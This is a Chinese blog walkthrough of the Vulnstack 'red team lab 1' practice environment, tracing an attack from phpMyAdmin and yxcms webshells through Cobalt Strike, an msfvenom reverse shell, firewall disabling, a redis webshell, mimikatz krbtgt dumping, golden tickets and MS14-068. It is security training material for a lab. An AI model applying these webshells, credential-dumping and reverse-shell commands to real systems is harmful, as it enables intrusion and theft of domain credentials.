ATT&CK实战系列——红队实战(一)

最新推荐文章于 2024-06-21 02:25:46 发布
最新推荐文章于 2024-06-21 02:25:46 发布
阅读量2.5k 收藏 11
点赞数 4
分类专栏： 信息安全 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38626043/article/details/117629847
版权

文章目录

环境搭建

下载地址：
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

官方描述

红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建，开成完整闭环。后续也会搭建真实APT实战环境，从实战中成长。关于环境可以模拟出各种各样实战路线，目前给出作者实战的一套攻击实战路线如下，虚拟机所有统一密码：hongrisec@2019：

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

网络拓扑：

在这里插入图片描述

本地环境：

在这里插入图片描述

配置好网络环境，启动win7 下的 phpstudy

在这里插入图片描述

渗透测试部分

web直接就是php探针

在这里插入图片描述

NMAP

在这里插入图片描述

目录

在这里插入图片描述

网站备份文件

在这里插入图片描述

phpinfo
http://192.168.60.170/phpinfo.php
在这里插入图片描述

phpmyadmin 日志 getshell

http://192.168.60.170/phpmyadmin/
http://192.168.60.170/phpmyadmin/examples/
http://192.168.60.170/phpmyadmin/setup/
http://192.168.60.170/phpmyadmin/changelog

在这里插入图片描述

暂时没有其它发现
爆破phpmyadmin
爆破到几个空密码，但是空密码无法登录

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

没有读取文件的权限

在这里插入图片描述

在phpmyadmin中发现一个 yxcms的数据库

在这里插入图片描述

尝试写入一句话，

select '<?php eval($_POST[pwd]); ?>' into outfile 'C:/phpStudy/WWW/shell.php'

在这里插入图片描述

尝试修改 secure_file_priv 但是失败了

show variables like "secure_file_priv";
set global secure_file_priv='';

在这里插入图片描述

利用mysql general_log_file 上传一句话

show variables like 'general%'

在这里插入图片描述
开启 general_log日志

set global general_log = 'ON'

把 general_log日志路径放网站根目录

set global general_log_file='C:/phpStudy/WWW/shell.php'

在这里插入图片描述

在这里插入图片描述

因为general_log 日志会记录我们执行的sql语句，所以我们执行php一句话也会被记录，因为后缀被改为php，所以php碰到php头 <? 就会认为这是个php文件

在这里插入图片描述

再次访问，报php错误，确定已经被php解析，但是在940行有一个致命错误
在这里插入图片描述

清空general_log 日志再次尝试

set global general_log = 'OFF';
rename table mysql.general_log TO mysql.general_log2;
delete from mysql.general_log2;
show variables like 'general%'
rename table mysql.general_log2 TO mysql.general_log;
set global general_log = 'ON';
set global general_log_file='C:/phpStudy/WWW/shell2.php'
show variables like 'general%'
select '<?php eval($_POST[pwd]);?>';

在这里插入图片描述

yxcms

网站泄露后台地址和用户密码，且用户密码为弱口令
百度查询到相关目录结构找到后端登录页面
http://192.168.60.170/yxcms/index.php?r=admin/index/login
在这里插入图片描述

网上搜索了yxcms相关漏洞，在此复现

前端 XSS

在这里插入图片描述
后端验证，通过验证后前端也会显示

在这里插入图片描述

在这里插入图片描述

任意文件写入 getshell

新建模板

在这里插入图片描述

通过前面泄露的备份文件得到上传点

在这里插入图片描述

http://192.168.60.170/yxcms/protected/apps/default/view/default/shell.php.php

在这里插入图片描述

任意文件删除

需要先登录后台，然后访问之后会显示缩略图不存在

Payload：http://sb.com/index.php?r=admin/photo/delpic
POST：picname=…/…/protected/apps/install/install.lock
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

后渗透阶段

上线CS

start artifact.exe

在这里插入图片描述
这个密码就是默认密码

在这里插入图片描述
提权至system用户

在这里插入图片描述

域控信息收集

查看内网网段

域控一般为 DNS 主机
在这里插入图片描述

whoami，hostname

在这里插入图片描述

查询系统架构，安装软件

echo %PROCESSOR_ARCHITECTURE%
wmic product get name,version

在这里插入图片描述

查询域列表与所有用户

net view /domain
net user /domain

在这里插入图片描述

从域控查询时间，若当前用户是域用户会从域控返回当前时间，亦用来判断主域，主域一般用做时间服务器
然后利用 net group "domain controllers" /domain 验证域控主机

net time /domain
net group "domain controllers" /domain

主域为 owa.god.org
在这里插入图片描述
域密码策略

net accounts /domain

在这里插入图片描述

确认域控 IP

在这里插入图片描述

域外信息收集与渗透

路由信息

在这里插入图片描述

arp 表

在这里插入图片描述

3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在这里插入图片描述

关闭防火墙在连接

netsh firewall set opmode disable

添加用户

在这里插入图片描述在这里插入图片描述

msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.129 LPORT=7777 -f exe > shell.exe

本地监听
在这里插入图片描述

上传

在这里插入图片描述

在这里插入图片描述

域渗透

SMB Beacon C2命令执行

创建一个监听器

在这里插入图片描述

使用 psexec 登录

在这里插入图片描述

获得域控 OWA beacon

在这里插入图片描述

CS/MSF联动

msf监听

在这里插入图片描述

CS新建一个监听器

在这里插入图片描述

增加会话派生
msf上线

在这里插入图片描述

识别一下前面arp的141主机
在这里插入图片描述

shell 乱码

chcp 65001

添加路由

run autoroute -s 192.168.52.0/24
run autoroute -p
run get_local_subnets

在这里插入图片描述

顺便跑arp
在这里插入图片描述

扫描141端口
因为环境描述中有Oracle与redis，所以加上端口

在这里插入图片描述
141
描述中有08067，但是打不了，17010能打，但是会把服务器打蓝屏

在这里插入图片描述

138

在这里插入图片描述

138域控主机本来也打不了，最后关闭防火墙后成功

关闭防火墙

netsh advfirewall set allprofiles state off

在这里插入图片描述

在这里插入图片描述

redis getshell

redis 其实是有问题的
官方描述中有提到 redis ，但是默认是访问不了的，实在没找到其它思路，只得修改redis零时配置文件

127.0.0.1:6379> config set protected-mode no

在这里插入图片描述

msf相关redis模块

auxiliary/scanner/redis/file_upload 
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

在这里插入图片描述
138域控靶机上开放了80，通过前面的路由，已经可以直接访问了

在这里插入图片描述

通过 redis 往物理路径写 webshell
此时redis只需要目录写权限
但是在不知道物理路径的情况下，比较困难

192.168.52.138:6379> config set dir C:\inetpub\wwwroot\
OK
192.168.52.138:6379> config set dbfilename shell.aspx
OK
192.168.52.138:6379> set x "<% @Page Language='Jscript'%><%eval(Request.Item['pwd'],'unsafe');%>"
OK
192.168.52.138:6379> save
OK
192.168.52.138:6379>

在这里插入图片描述

黄金票据

制作黄金票据的前提条件

  1. 域名称
  2. 域的 SID
  3. 域的 krbtgt账户的密码 hash 值 （NTLM or aes256_hmac）
  4. 伪造的用户名，可以是任意用户甚至是不存在

krbtgt用户是域控中用来管理发放票据的用户，拥有了该用户的权限，就可以伪造系统中的任意用户

域名已经在前面收集到：god.org

SID： whoami /user

在这里插入图片描述

域ID 和 krbtgt 账户hash

mimikatz # privilege::debug #（提升权限）
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords #（抓取明文密码和 hash）
mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt #导出 krbtgt 密码 hash
mimikatz # lsadump::dcsync /domain:god.org /all /csv #导出所有域内用户密码 hash 值：

域的 SID：S-1-5-21-2952760202-1353902439-2381784089-500
aes256_hmac：a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df
NTLM：58e91a5ac358d86513ab224312314061

在这里插入图片描述

"kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<aes256_hmac> /user:<任意用户名> /ptt"
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-500 /aes256:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df /user:abc /ptt

在这里插入图片描述

伪造票据

在这里插入图片描述

CS也能伪造票据

在这里插入图片描述

伪造的票据信息

在这里插入图片描述

MS14-068

MS14-068 是一个能够使普通用户提权获取域控权限的权限提升漏洞，微软给出的补丁
是 kb3011780。在 server 2000 以上的域控中，只要没打这个补丁，都有可能被利用。

访问域共享被拒绝

在这里插入图片描述

使用 MS14-068 生成票据

MS14-068.exe -u   域用户@域控名  -p 域用户密码 -s 域用户sid -d 域ip
MS14-068.exe -u Administrator@god.org -s S-1-5-21-2952760202-1353902439-2381784089-500 -p hongrisec@2021 -d 192.168.52.138

在这里插入图片描述

导入前删除当前缓存kerberos票据

mimikatz # kerberos::purge
or
klist purge

使用mimikatz导入kerberos票据

mimikatz # kerberos::ptc TGT_Administrator@god.org.ccache
C:\phpStudy\WWW>dir \\owa.god.org\C$

在这里插入图片描述

_abcdef
关注
  • 4
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
专栏目录
红日靶场系列一
weixin_54626591的博客
01-22 185
红日靶场系列一
ATT&CK实战系列——红队实战(二)
Demonering的博客
02-23 5112
环境配置 首先在VMware->编辑->虚拟网络编辑器里 更改子网ip为192.168.111.0 环境说明 DC IP：10.10.10.10 OS：Windows 2012 WEB（初始的状态默认密码无法登录，切换用户 de1ay/1qaz@WSX 登录进去） IP1：10.10.10.80 IP2：192.168.111.80 OS：Windows 2008 PC IP1：10.10.10.201 IP2：192.168.111.201 OS：Windows 7
ATT&CK实战系列——红队实战（一）
Vicl1fe的博客
03-23 5494
一、环境搭建 1.1环境搭建测试 最近想要开始学习内网渗透，搜集了一些教程，准备先实验一个vulnstack靶机，熟悉一下内网渗透操作再学习基础知识。 靶场下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 压缩包中的win7为VM1，win2003为VM2，win2008为VM3，拓扑图如下所示： kali设置成NAT模式，w...
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) 八、lateral-movement(横向渗透) 九、C&C(命令控制) 十、Exfiltration(信息窃取
红日靶场-ATT&CK实战系列-红队评估（一）
最新发布
m0_66638011的博客
06-21 868
红日靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。红日靶机主要以内网渗透学习为主。红日靶场的网络结构复杂多样，包括外网、内网、DMZ区域等。不同的网络区域之间通过防火墙、路由器等设备进行隔离和访问控制。靶场网络结构中还包括了各种服务器和网络设备，如Web服务器、数据库服务器、文件服务器等。
【红日靶场】vulnstack2-完整渗透过程
信安是不可或缺的一部分！
09-28 1051
可以通过多种方式进行渗透测试这里只是我自己喜欢的方式，内网还能抓取hash等利用，在后面的红日靶场系列中会使用。
红日安全vulnstack-ATT&CK实战系列 红队实战(一)
热门推荐
遇事不决冲冲冲
12-25 1万+
一.介绍 vulnstack官网下载地址，也是拿百度网盘下载的，这里也放一个链接提取码: i7xv 官方靶机说明： 红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟 ATT&CK攻击链路进行搭建，开成完整闭环。后续也会搭建真实 APT 实战环境，从实战中成长。虚拟机所有统一密码：hongrisec@2019 整体思路 信息收集发现yxcms框架的网页，通过漏洞利用get到shell，拿cs控制后进行内网信息收集以及横向移动，最终用窃
红日安全vulnstack-ATT&CK实战系列 红队实战(二)
遇事不决冲冲冲
02-05 6445
红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSX
ATT&CK实战系列——红队实战（三）
Demonering的博客
04-14 3627
一、环境配置 打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。 挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。 除重新获取ip，不建议进行任何虚拟机操作。 参考虚拟机网络配置，添加新的网络，该网络作为内部网络。 注：名称及网段必须符合上述图片，进行了固定ip配置。 攻击机： Kail：192.168.1.130 Windows10：192.168.1.1 服务机： Centos 外网卡IP：192.168.1.129
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
05-27
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
ATT&CK手册(修改版)
09-16
ATT&CK（Adversarial Tactics, Techniques & Common Knowledge）是由美国非营利组织MITRE Corporation开发的一种框架，用于描述和分类网络攻击者的行为战术、技术和过程（TTPs）。这个框架是安全专家们理解和对抗...
ATT&CK框架介绍及战技术对照表
05-18
ATT&CK（Adversarial Tactics, Techniques & Common Knowledge）是由MITRE公司开发的一个公开的知识库，旨在提供一个统一的视角来理解和防御网络攻击。该框架详细描述了攻击者在不同阶段可能使用的战术、技术和程序...
《ATT&CK 中文版》正式发布！
m0_71255344的博客
07-14 897
《ATT&CK 中文版》为了方便中文读者使用和理解，使读者更容易掌握和运用框架中的知识。 希望可以为中国的网络安全从业人员和安全爱好者提供一个更加便捷和高效的学习工具。
ATT&CK实战系列——红队实战(一)完整版
m_ing
08-05 3760
前言：今天有大佬位推荐了这个靶场，然后就去了解了一下非常贴近实战，下载开干！ 靶场的描述：红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建，开成完整闭环。后续也会搭建真实APT实战环境，从实战中成长 拓扑图如下所示： 这里的攻击机使用的kali，web服务器用的是win7，域成员分别是windows2003、windows2008。(你可能要问win7怎么做web服务器啊？我们用phpstudy集成环境鸭!
ATT&CK实战系列——红队实战（一)
weixin_45486362的博客
08-12 1246
一． 环境搭建 进入windows,密码：hongrisec@2019 环境配置结果： web（win7） 192.168.3.104 192.168.17.128 win2003 192.168.17.129 win2008(域控) 192.168.17.130 备注：由于不是一次性做完，web机的网段3所分配的网址会有相应的变化，不影响结果 第一次配置环境发现C盘中启动phpstudy之后本机无法访问所搭建的网站 发现IP配置出问题了，虚拟机网卡配置设置成为桥接模式 配置如下（3
ATT&CK实战系列-红队评估(一)
v2ish1yan的博客
02-26 809
这个靶场的流程，就是外网渗透拿到主机shell扫描内网存活主机，并查看是否存在历史漏洞使用内网代理和路由转发来对内网主机进行攻击应该还有很多思路，这个是比较简单的靶场，继续加油。
ATT&CK红队评估实战靶场-1(全网最细)
lwwzyy
12-20 3969
声明：该系列文章首发于公众号：纁玄安全，转载请注明出处！本公众号所分享内容仅用于网安爱好者之间的技术讨论，所有渗透及工具的使用都需获取授权，禁止用于违法途径，否则需自行承担，本公众号及作者不承担相应的后果。 ATT&CK红队评估实战靶场-1 目录： 1. 环境配置 插播一点网络配置的姿势 2. 实战 2.1 信息收集 2.2 web站点探测 2.3 getshell 3 漏洞 3.1 目录遍历漏洞 3.2 存储型XSS 4. ..
ATT\\& CK实战
10-10
ATT&CK（Adversarial Tactics, Techniques, and Common Knowledge）是一种基于安全领域的知识库，旨在描述和分类对抗性行为者（攻击者）在计算机系统中使用的战术、技术和常见知识。ATT&CK框架由MITRE公司开发，它提供了一种方法来理解和评估安全事件中攻击者的行为模式。 ATT&CK框架可以帮助组织和安全专业人员更好地理解攻击者的思维方式和行动路径，以便采取适当的防御措施。它提供了一个广泛的技术矩阵，用于描述攻击者使用的各种工具、技术和策略。 在实战中，ATT&CK框架可以用于指导安全团队进行威胁模拟和红队演练，以测试组织的安全防御能力。它还可以用于分析和调查安全事件，帮助确定攻击者的行动路径和所使用的技术。
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_abcdef

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值